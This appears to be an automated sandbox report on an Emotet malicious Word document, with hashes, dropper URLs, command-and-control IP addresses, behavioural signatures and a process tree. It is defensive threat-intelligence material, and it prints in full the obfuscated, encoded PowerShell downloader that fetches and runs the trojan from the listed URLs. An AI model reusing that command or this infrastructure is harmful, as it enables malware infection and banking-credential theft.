emotet | 9f6573c8d617df80a4b0c63ab9fe1763ed27774f63f03b0fce9e3afdc5735b74

Analysis

max time kernel
135s
max time network
151s
platform
windows10_x64
resource
win10v200722
submitted
25/08/2020, 18:02

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General

Target
emotet_e3_9f6573c8d617df80a4b0c63ab9fe1763ed27774f63f03b0fce9e3afdc5735b74_2020-08-25__180144._doc.doc
Size 221KB
Sample200825-4ptbvcz29x
SHA256 9f6573c8d617df80a4b0c63ab9fe1763ed27774f63f03b0fce9e3afdc5735b74
MD5 e82d1b9e6208934ab23100125daeb6f4
SHA1 720fa512f4e94e45ef6b0047876a3ed8b78f0d94
SHA512 a987a514f57903b9f2dd70e9ea0828a45a07de0da2913843d47477633efa14aeab592337b4cba6ba2102c6918c34f4c2a9eb18ebe2962a57cbf6e24b56412113
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://karaz-sd.com/admin/nlYFI/
exe.dropper
http://king61tours.com/pdf/lwuqKsRgijhXw/
exe.dropper
http://klusserviceboxtel.nl/components/IeWSnSt/
exe.dropper
http://khaninterior.pk/cgi-bin/R6WGU11vhi10/
exe.dropper
http://localnet.srv.br/wp-admin./rpu0cemhip55549/
exe.dropper
http://dec-u-out.com/f3/9Ice18opp71335501/
exe.dropper
http://thejewelcasino.com/back_end/agt22219/

Extracted

Family

emotet

82.239.200.118:80
185.81.158.15:8080
51.255.15.193:7080
85.25.207.108:8080
107.161.30.122:8080
113.161.148.81:80
74.208.173.91:8080
139.59.12.63:8080
188.0.135.237:80
2.144.244.204:443
87.106.231.60:8080
181.137.229.1:80
173.94.215.84:80
175.29.183.2:80
37.46.129.215:8080
86.57.216.23:80
181.126.54.234:80
190.212.140.6:80
46.105.131.68:8080
190.190.15.20:80
139.99.157.213:8080
168.0.97.6:80
217.199.160.224:8080
185.142.236.163:443
220.254.198.228:443
202.5.47.71:80
188.251.213.180:443
198.57.203.63:8080
190.55.186.229:80
37.187.100.220:7080
86.98.143.163:80
157.7.164.178:8081
195.201.56.70:8080
5.79.70.250:8080
91.83.93.103:443
41.185.29.128:8080
105.209.235.113:8080
190.53.144.120:80
192.163.221.191:8080
185.86.148.68:443
115.78.11.155:80
177.32.8.85:80
192.210.217.94:8080
71.57.180.213:80
179.5.118.12:80
66.61.94.36:80
31.146.61.34:80
162.249.220.190:80
177.144.130.105:443
51.38.201.19:7080
197.221.158.162:80
77.74.78.80:443
179.62.238.49:80
185.208.226.142:8080
177.94.227.143:80
81.214.253.80:443
78.189.60.109:443
50.116.78.109:8080
181.113.229.139:443
60.125.114.64:443
178.33.167.120:8080
190.164.75.175:80
75.127.14.170:8080
143.95.101.72:8080
81.17.93.134:80
192.241.220.183:8080
45.182.161.17:80
172.105.78.244:8080
115.79.195.246:80
189.39.32.161:80
172.96.190.154:8080
113.203.250.121:443
37.210.226.93:80
46.32.229.152:8080
201.213.177.139:80
95.216.205.155:8080
203.153.216.178:7080
201.235.10.215:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2184	1072	powersheLL.exe	66

Blacklisted process makes network request 2 IoCs

flow	pid	Process
6	2184	powersheLL.exe
8	2184	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3868	U4cjf5lx.exe
4004	WinMsoIrmProtector.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dmdlgs\WinMsoIrmProtector.exe	U4cjf5lx.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2968	WINWORD.EXE
2968	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2184	powersheLL.exe
2184	powersheLL.exe
2184	powersheLL.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
3868	U4cjf5lx.exe
3868	U4cjf5lx.exe
3868	U4cjf5lx.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe
4004	WinMsoIrmProtector.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 3868	2184	powersheLL.exe	70
PID 2184 wrote to memory of 3868	2184	powersheLL.exe	70
PID 2184 wrote to memory of 3868	2184	powersheLL.exe	70
PID 3868 wrote to memory of 4004	3868	U4cjf5lx.exe	72
PID 3868 wrote to memory of 4004	3868	U4cjf5lx.exe	72
PID 3868 wrote to memory of 4004	3868	U4cjf5lx.exe	72

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_9f6573c8d617df80a4b0c63ab9fe1763ed27774f63f03b0fce9e3afdc5735b74_2020-08-25__180144._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2968

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAG8AYgBhAHUANABwAD0AKAAnAEsAbgAnACsAKAAnADUAZAAnACsAJwA2AGQAYQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVABlAG0AcABcAHcATwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQBgAFQAeQBgAFAAYABSAGAAbwBgAFQAbwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADEAJwArACcALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABIAGEAMQB5AHoAMABsACAAPQAgACgAJwBVACcAKwAnADQAJwArACgAJwBjAGoAJwArACcAZgA1AGwAeAAnACkAKQA7ACQARAB3AG4ANAB4AHUAdQA9ACgAKAAnAE8AYwAnACsAJwAxACcAKQArACgAJwA3AHYAJwArACcAaQAwACcAKQApADsAJABUADMAeQBsAG0AMABhAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBhACcAKwAnAGMAaQAnACsAKAAnAHcAbwByACcAKwAnAGQAJwApACsAKAAnAGEAYwAnACsAJwBpACcAKQArACcAMgAwACcAKwAoACcAMQA5ACcAKwAnAGEAYwBpACcAKQApACAAIAAtAGMAcgBlAFAAbABBAEMAZQAoAFsAQwBIAGEAUgBdADkANwArAFsAQwBIAGEAUgBdADkAOQArAFsAQwBIAGEAUgBdADEAMAA1ACkALABbAEMASABhAFIAXQA5ADIAKQArACQASABhADEAeQB6ADAAbAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFkANwBfAGUAOQA0AGcAPQAoACgAJwBDADgAJwArACcANwA3ACcAKwAnAGIAcAAnACkAKwAnADcAJwApADsAJABPAG4AdgA1AGEANQBlAD0AJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAGMAbABJAGUAbgBUADsAJABQAGEAMwA4AG4AdABsAD0AKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBrAGEAJwArACcAcgBhACcAKQArACgAJwB6AC0AJwArACcAcwAnACkAKwAoACcAZAAnACsAJwAuAGMAJwArACcAbwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AbgBsACcAKQArACgAJwBZAEYASQAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGsAJwArACcAaQBuACcAKQArACcAZwAnACsAKAAnADYAMQAnACsAJwB0AG8AdQByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALwBwAGQAZgAvACcAKwAnAGwAJwArACcAdwB1AHEASwAnACkAKwAoACcAcwBSACcAKwAnAGcAJwApACsAJwBpACcAKwAoACcAagBoACcAKwAnAFgAJwArACcAdwAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAJwArACcAOgAvACcAKwAnAC8AawBsAHUAcwBzAGUAcgAnACsAJwB2AGkAYwAnACkAKwAnAGUAJwArACgAJwBiACcAKwAnAG8AeAB0AGUAJwApACsAJwBsAC4AJwArACgAJwBuAGwALwAnACsAJwBjACcAKwAnAG8AbQBwACcAKwAnAG8AbgBlAG4AdAAnACkAKwAnAHMALwAnACsAJwBJAGUAJwArACgAJwBXAFMAJwArACcAbgBTACcAKQArACcAdAAnACsAJwAvACcAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AJwArACgAJwBrAGgAYQAnACsAJwBuAGkAbgAnACkAKwAoACcAdABlACcAKwAnAHIAJwApACsAJwBpAG8AJwArACgAJwByAC4AJwArACcAcAAnACkAKwAnAGsALwAnACsAJwBjAGcAJwArACgAJwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuAC8AUgAnACsAJwA2AFcAJwApACsAKAAnAEcAJwArACcAVQAxADEAJwApACsAJwB2ACcAKwAoACcAaAAnACsAJwBpADEAMAAnACkAKwAnAC8AKgAnACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAGwAbwBjACcAKQArACgAJwBhAGwAbgBlAHQALgBzAHIAJwArACcAdgAuAGIAJwArACcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhAGQAbQBpAG4ALgAvACcAKwAnAHIAcAB1ADAAJwApACsAJwBjACcAKwAnAGUAbQAnACsAKAAnAGgAaQBwACcAKwAnADUAJwApACsAKAAnADUANQA0ACcAKwAnADkALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkAGUAYwAtAHUAJwArACcALQBvACcAKQArACgAJwB1AHQAJwArACcALgBjAG8AJwArACcAbQAvACcAKQArACgAJwBmADMAJwArACcALwA5ACcAKQArACgAJwBJACcAKwAnAGMAZQAnACkAKwAoACcAMQAnACsAJwA4AG8AcAAnACkAKwAoACcAcAA3ADEAJwArACcAMwAnACsAJwAzADUAJwApACsAKAAnADUAJwArACcAMAAxACcAKQArACgAJwAvACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AdAAnACkAKwAoACcAaABlAGoAZQB3AGUAbAAnACsAJwBjACcAKwAnAGEAcwAnACkAKwAoACcAaQBuAG8AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwBiACcAKwAnAGEAYwAnACkAKwAnAGsAJwArACcAXwAnACsAJwBlAG4AJwArACcAZAAvACcAKwAnAGEAZwAnACsAKAAnAHQAJwArACcAMgAyADIAMQAnACkAKwAnADkALwAnACkALgAiAFMAYABwAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBhAHEAZwBjADAAMwA9ACgAKAAnAEgAJwArACcAagBrACcAKQArACcAYgBsACcAKwAnADIAZwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGYAZgAzAGQAOAB3ACAAaQBuACAAJABQAGEAMwA4AG4AdABsACkAewB0AHIAeQB7ACQATwBuAHYANQBhADUAZQAuACIAZABPAHcAbgBgAEwATwBgAEEARABgAEYASQBMAGUAIgAoACQATgBmAGYAMwBkADgAdwAsACAAJABUADMAeQBsAG0AMABhACkAOwAkAEMAOABpADkAbAB0AGMAPQAoACgAJwBMAG4AJwArACcAegAyAHkAeQAnACkAKwAnADQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAFQAMwB5AGwAbQAwAGEAKQAuACIAbABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIANwAyADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAVAAzAHkAbABtADAAYQApADsAJABRAHMAdgAzADQAawBfAD0AKAAoACcARQA2AHkAcwAnACsAJwBmACcAKQArACcAegBtACcAKQA7AGIAcgBlAGEAawA7ACQASAA0AGUAaAA5ADMANgA9ACgAKAAnAEMAMgAnACsAJwB6AGoAYgAnACkAKwAnAGUAdwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUANgB6AGoAdwA0AGsAPQAoACcARwA1ACcAKwAoACcAZQB6ACcAKwAnAG8ANgBsACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Users\Admin\AppData\Local\Temp\word\2019\U4cjf5lx.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\U4cjf5lx.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\SysWOW64\dmdlgs\WinMsoIrmProtector.exe
    "C:\Windows\SysWOW64\dmdlgs\WinMsoIrmProtector.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2184-11-0x00007FFC1BF30000-0x00007FFC1C91C000-memory.dmp

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memory/2184-13-0x0000014338EA0000-0x0000014338EA1000-memory.dmp

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memory/2184-12-0x0000014338C70000-0x0000014338C71000-memory.dmp

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memory/2968-5-0x000001DE7A1E6000-0x000001DE7A1E9000-memory.dmp

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memory/2968-4-0x000001DE7A1E6000-0x000001DE7A1E9000-memory.dmp

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memory/2968-8-0x000001DE7A2D5000-0x000001DE7A2E8000-memory.dmp

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memory/2968-9-0x000001DE7A2D5000-0x000001DE7A2E8000-memory.dmp

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memory/2968-10-0x000001DE7A2CC000-0x000001DE7A2D5000-memory.dmp

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memory/2968-6-0x000001DE70157000-0x000001DE7015C000-memory.dmp

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memory/2968-0-0x00007FFC28E10000-0x00007FFC294D6000-memory.dmp

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memory/2968-7-0x000001DE7A2CC000-0x000001DE7A2D5000-memory.dmp

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memory/2968-1-0x000001DE7A1D5000-0x000001DE7A1E6000-memory.dmp

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memory/2968-3-0x000001DE7A1E6000-0x000001DE7A1E9000-memory.dmp

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memory/2968-2-0x000001DE7A1D5000-0x000001DE7A1E6000-memory.dmp

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memory/3868-17-0x0000000000AD0000-0x0000000000ADC000-memory.dmp

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memory/4004-20-0x0000000000790000-0x000000000079C000-memory.dmp

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